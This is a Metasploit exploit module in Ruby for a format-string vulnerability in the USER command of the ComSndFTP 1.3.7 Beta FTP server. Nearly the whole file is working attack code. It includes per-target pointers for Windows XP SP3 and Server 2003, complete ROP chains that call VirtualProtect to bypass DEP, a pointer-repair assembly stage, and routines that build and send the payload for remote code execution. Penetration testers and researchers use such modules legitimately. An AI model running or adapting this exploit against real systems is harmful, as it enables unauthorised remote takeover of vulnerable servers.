ComSndFTP 1.3.7 Beta – USER Format String (Write4) (Metasploit)
## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'ComSndFTP v1.3.7 Beta USER Buffer Overflow', 'Description' => %q{ This module exploits the ComSndFTP FTP Server version 1.3.7 beta by sending a specially crafted format string specifier as a username. The crafted username is sent to to the server to overwrite the hardcoded function pointer from Ws2_32.dll!WSACleanup. Once this function pointer is triggered, the code bypasses dep and then repairs the pointer to execute arbitrary code. The SEH exit function is preferred so that the administrators are not left with an unhandled exception message. When using the meterpreter payload, the process will never die, allowing for continuous exploitation. }, 'Author' => [ 'ChaoYi Huang <ChaoYi.Huang[at]connect.polyu.hk>', # vuln discovery + poc 'rick2600 <rick2600[at]corelan.be>', # msf module (target XP) 'mr_me <mr_me[at]@corelan.be>', # msf module (target 23k) 'corelanc0d3r <peter.ve[at]corelan.be>' # msf module ], 'Arch' => [ ARCH_X86 ], 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => [ # When a DoS is NOT a DoS [ 'EDB', '19024'] ], 'DefaultOptions' => { 'EXITFUNC' => 'seh' }, 'Platform' => ['win'], 'Privileged' => false, 'Payload' => { 'Space' => 1000, 'BadChars' => "\x00\x0a\x0d", 'StackAdjustment' => -3500, 'DisableNops' => 'True' }, 'Targets' => [ [ 'Windows XP SP3 - English', { 'Functionpointer' => 0x71AC4050, # winsock pointer 'Functionaddress' => 0x71AB2636, # the repair address 'Pivot' => 0x00408D16, # 0x004093AE-0x698 add esp, 72c ; retn 'Pad' => 568 } ], [ 'Windows Server 2003 - English', { 'Functionpointer' => 0x71C14044, # winsock pointer 'Functionaddress' => 0x71C02661, # the repair address 'Pivot' => 0x00408D16, # 0x004093AE-0x698 add esp, 72c ; retn 'Pad' => 568 } ] ], 'DisclosureDate' => 'Jun 08 2012')) register_options( [ Opt::RPORT(21), ], self.class) end def check connect banner = sock.get(-1,3) validate = "\x32\x32\x30\x20\xbb\xb6\xd3\xad\xb9" validate << "\xe2\xc1\xd9\x46\x54\x50\xb7\xfe\xce" validate << "\xf1\xc6\xf7\x21\x0d\x0a" disconnect if (banner == validate) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def junk(n=4) return rand_text_alpha(n).unpack("V").first end def exploit rop = '' if target.name =~ /Server 2003/ # C:\WINDOWS\system32\msvcrt.dll v7.0.3790.3959 rop = [ 0x77be3adb, # pop eax ; retn 0x77ba1114, # <- *&VirtualProtect() 0x77bbf244, # mov eax,[eax] ; pop ebp ; retn junk, 0x77bb0c86, # xchg eax,esi ; retn 0x77be3adb, # pop eax ; retn 0xFFFFFBFF, # dwSize 0x77BAD64D, # neg eax ; pop ebp ; retn junk, 0x77BBF102, # xchg eax,ebx ; add [eax],al ; retn 0x77bbfc02, # pop ecx ; retn 0x77bef001, # ptr that is w+ 0x77bd8c04, # pop edi ; retn 0x77bd8c05, # retn 0x77be3adb, # pop eax ; retn 0xFFFFFFC0, # flNewProtect 0x77BAD64D, # neg eax ; pop ebp ; retn 0x77be2265, # ptr to 'push esp ; ret' 0x77BB8285, # xchg eax,edx ; retn 0x77be3adb, # pop eax ; retn 0x90909090, # nops 0x77be6591, # pushad ; add al,0ef ; retn ].pack("V*") elsif target.name =~ /XP SP3/ # C:\WINDOWS\system32\msvcrt.dll v7.0.2600.5512 rop = [ 0x77C21D16, # pop eax ; retn 0x77C11120, # <- *&VirtualProtect() 0x77C2E493, # mov eax,[eax] ; pop ebp ; retn junk, 0x77C21891, # pop esi ; retn 0x77C5D010, # ptr that is w+ 0x77C2DD6C, # xchg eax,esi ; add [eax],al; retn 0x77C21D16, # pop eax ; retn 0xFFFFFBFF, # dwSize 0x77C1BE18, # neg eax ; pop ebp ; retn junk, 0x77C2362C, # pop ebx ; retn 0x77C5D010, # ptr that is w+ 0x77C2E071, # xchg eax,ebx ; add [eax],al ; retn 0x77C1F519, # pop ecx ; retn 0x77C5D010, # ptr that is w+ 0x77C23B47, # pop edi ; retn 0x77C23B48, # retn 0x77C21D16, # pop eax ; retn 0xFFFFFFC0, # flNewProtect 0x77C1BE18, # neg eax ; pop ebp ; retn 0x77C35459, # ptr to 'push esp ; ret' 0x77C58FBC, # xchg eax,edx ; retn 0x77C21D16, # pop eax ; retn 0x90909090, # nops 0x77C567F0, # pushad ; add al,0ef ; retn ].pack("V*") end stage1 = %Q{ mov eax, #{target['Functionpointer']} mov ecx, #{target['Functionaddress']} mov [eax], ecx } offset_wp = rand_text_alphanumeric(1) pivot = target['Pivot'] offset = target['Pad'] + rop.length + stage1.length + payload.encoded.length attackstring = rand_text_alphanumeric(7) attackstring << [target['Functionpointer']].pack('V') attackstring << "%#{pivot}x" # special pointer to our pivot attackstring << "%p" * 208 + "#{offset_wp }%n" # format specifiers to read and write the function pointer attackstring << rand_text_alphanumeric(target['Pad']) attackstring << rop attackstring << Metasm::Shellcode.assemble(Metasm::Ia32.new, stage1).encode_string attackstring << payload.encoded attackstring << rand_text_alphanumeric(2000 - offset) attackstring << "\r\n" sploit = "USER #{attackstring}\r\n" print_status("Triggering overflow...") connect sock.get_once(1024) sock.put(sploit) select(nil, nil, nil, 2) handler disconnect end end |